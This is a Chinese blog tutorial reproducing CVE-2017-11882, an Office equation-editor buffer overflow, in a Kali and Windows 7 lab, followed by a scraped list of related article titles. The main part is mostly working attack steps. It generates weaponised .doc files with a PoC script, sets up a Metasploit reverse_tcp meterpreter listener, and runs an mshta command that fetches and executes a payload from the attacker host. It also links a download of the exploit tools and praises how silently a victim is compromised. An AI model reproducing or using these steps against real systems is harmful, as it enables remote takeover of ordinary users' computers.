[漏洞复现] CVE-2017-11882 通杀所有Office版本
此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行。
举个例子,如果黑客利用这个漏洞,构造带有shell后门的office文件,当普通用户打开这个office文件,则电脑可以被黑客直接控制。
影响版本:
office 2003
office 2007
office 2010
office 2013
office 2016
漏洞复现环境
Kali2017 + windows 7 + office 2016
渗透机:kali linux + POC代码
靶机:Win 7 + Office 2016
实验所需工具和代码
链接: https://pan.baidu.com/s/1s9Br1e499ylB02urefEQKg 密码: fx6p
在kali新建一个文件夹CVE-2017-11882,放进我们需要的poc代码

生成word文档11882.doc,打开doc文件之后,会弹出计算器(以此验证offce漏洞)
root@kali:~/桌面/CVE--# python CVE--.py -c "cmd.exe /c calc.exe" -o .doc

生成word文档11882-2.doc,打开doc文件之后,会弹出任务管理器(以此验证offce漏洞)
root@kali:~/桌面/CVE--# python CVE--.py -c "cmd.exe /c taskmgr.exe" -o -.doc

再次查看,可以看到多了两个doc文件

将文件拷贝到win7靶机上,并验证结果

使用Word 2016打开第一个文件-11882.doc文件,查看效果:

成功弹出计算器。
使用Word 2016打开第二个文件-11882-2.doc文件,查看效果:

成功弹出事务管理器。
可以看到,由于Office2016存在CVE-2017-11882漏洞,当打开特殊构造的word文件时,windows会执行其他动作。
在kali linux 上构造带有shell后门的word文件,并开启监听
首先,为了后续更好的管理和使用渗透代码,可以将“shell.rb”,名称修改为“cve-2017-11886.rb”

将CVE-2017-11882.rb拷贝到metasploit目录中,这里拷贝到目录/usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp ~/桌 面/CVE--/CVE--.rb CVE--.rb

好的,我们已经将这个CVE-2017-11882.rb复制过去了。
进入Metasploit框架,
root@kali:~# msfconsole
搜索CVE-2017-11882:
msf > search CVE--

使用CVE-2017-11882.rb模块,开启Meterpreter监听会话:
使用模块
msf > use exploit/windows/smb/CVE--
设置tcp反弹会话
msf exploit(CVE--) > set payload windows/meterpreter/reverse_tcp
设置渗透机ip地址(这里通过ifconfig命令查看)
msf exploit(CVE--) > set lhost 192.168.190.130
设置路径为11882,可自定义
msf exploit(CVE--) > set uripath
开启渗透,进入监听状态
msf exploit(CVE--) > exploit

使用CVE-2017-11882.py模块,生成带有shell的doc文件:
root@kali:~/桌面/CVE--# python CVE--.py -c "mshta http://192.168.190.130:8080/11882" -o -.doc

此时,CVE-2017-11882目录中增加了另外一个word文件11882-3,而此文件的功能便是:打开它的电脑会反弹shell会话到控制机。

将文件11882-3.doc拷贝到靶机win7上面:

在Win7打开11882-3.doc文件,此时观察Win7靶机和Kali Linux渗透机。
注:做这个实验之前,首先要求渗透机Kali Linux和靶机Win7能够联通,例如在我的虚拟环境中,Kali Linux的ip地址是192.168.190.130,而Win7的地址是192.168.190.131,两个虚拟机采用NAT网卡模式。

当靶机打开文件时,整个过程没有任何弹框,也没有其他异常动作,整个攻击效果非常“优雅”,肉鸡很难发现。
此时,在另一段的kali linux渗透机,已经获取到shell会话。

通过命令sessions查看meterpreter会话:
msf exploit(CVE--) > sessions

此后便可以通过meterpreter来对会话进行管理:
进入会话
msf exploit(CVE--) > sessions
查看系统信息
meterpreter > sysinfo
查看当前用户
meterpreter > getuid
截屏
meterpreter > screenshot

可以看到,安装了最新office 2016版本的win7,因为CVE-2017-1182漏洞,当打开带有shell后门的doc文件是,kali渗透机可以获取到完美的后门并控制win7
实验操作根据拼客院长陈鑫杰的实验进行复现的https://zhuanlan.zhihu.com/p/35248996
[漏洞复现] CVE-2017-11882 通杀所有Office版本的更多相关文章
- [.NET] [.net 脱壳工具]Sixxpack 最新脱壳机 通杀Sixxpack全版本by -=Msdn5 君临=
[.net 脱壳工具]Sixxpack 最新脱壳机 通杀Sixxpack全版本by -=Msdn5 君临=- 识别方法: 如果无法调戏,请上传附件艾特我.............发帖不易啊..身处大西 ...
- struts2 最新S2-016-S2-017漏洞通杀struts2所有版本及修复方法
详情查看http://zone.wooyun.org/content/5159 官方漏洞说明 http://struts.apache.org/release/2.3.x/docs/s2-016.ht ...
- PhpStudy2018后门漏洞预警及漏洞复现&检测和执行POC脚本
PhpStudy2018后门漏洞预警及漏洞复现&检测和执行POC脚本 phpstudy介绍 Phpstudy是国内的一款免费的PHP调试环境的程序集成包,其通过集成Apache.PHP.MyS ...
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- CVE-2017-11882:Microsoft office 公式编辑器 font name 字段栈溢出通杀漏洞调试分析
\x01 漏洞简介 在 2017 年 11 月微软的例行系统补丁发布中,修复了一个 Office 远程代码执行漏洞(缓冲区溢出),编号为 CVE-2017-11882,又称为 "噩梦公式&q ...
- 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击
通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击 大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞.此洞可 ...
- DedeCMS全版本通杀SQL注入漏洞利用代码及工具
dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...
- CVE-2018-8174(双杀漏洞)复现
目录 CVE-2018-8174双杀漏洞复现一(不稳定) 下载payload MSF监听 CVE-2018-8174双杀漏洞复现二
- 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!
/文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...
随机推荐
- 用JS获得QQ号码的昵称,头像,生日
有一个网址,可以返回我们要的内容. http://r.qzone.qq.com/cgi-bin/user/cgi_personal_card?uin=指定QQ号码 将会返回下列内容: _Callbac ...
- # 20155222 2016-2017-2 《Java程序设计》第5周学习总结
20155222 2016-2017-2 <Java程序设计>第5周学习总结 教材学习内容总结 java中所有错误都会被包装为对象,如果你愿意,可以尝试(try)执行程序并捕捉代表错误的对 ...
- Collections -- 集合的工具类
Collections是JDK针对集合提供的一个工具类,他提供一系列静态方法实现对各种集合的搜索.排序.线程安全化等操作. 1.搜索 如可以使用Collections提供的二分查找方法binarySe ...
- 【leetcode 简单】 第一百零八题 找到所有数组中消失的数字
给定一个范围在 1 ≤ a[i] ≤ n ( n = 数组大小 ) 的 整型数组,数组中的元素一些出现了两次,另一些只出现一次. 找到所有在 [1, n] 范围之间没有出现在数组中的数字. 您能在不 ...
- windbg分析net程序内存泄漏问题
1 问题简介 有客户反馈,打了最新补丁后,服务器的内存暴涨,一直降不下来,程序非常卡.在客户的服务器上抓了一个dump文件,开始分析. 分析问题的思路: 1.找到是那些资源占用了大量内存? ...
- An overview of gradient descent optimization algorithms (更新到Adam)
Momentum:解快了收敛速度,同时也减弱了SGD的波动 NAG: 减速了Momentum更新参数太快 Adagrad: 出现频率较低参数采用较大的更新,对于出现频率较高的参数采用较小的,不共用一个 ...
- 关于在调用JAVAFX相关包时遇到Access restriction: The type 'Application' is not API (restriction on required library)的解决方法
点击工具栏的Project->Properties->Java Build Path->Libraries-> 双击第一项 点击Add添加允许javafx 然后就不会报错了
- 【[国家集训队]小Z的袜子】
对于L,R的询问.设其中颜色为x,y,z的袜子的个数为a,b,c...那么答案即为(a*(a-1)/2+b*(b-1)/2+c*(c-1)/2....)/((R-L+1)*(R-L)/2)化简得:(a ...
- UML中的6大关系(关联、依赖、聚合、组合、泛化、实现)
UML定义的关系主要有六种:依赖.类属.关联.实现.聚合和组合.这些类间关系的理解和使用是掌握和应用UML的关键,而也就是这几种关系,往往会让初学者迷惑.这里给出这六种主要UML关系的说明和类图描述, ...
- contabs.js 的使用
1. 先下载两个文件 https://files.cnblogs.com/files/xiaojf/style.css https://files.cnblogs.com/files/xiaojf/c ...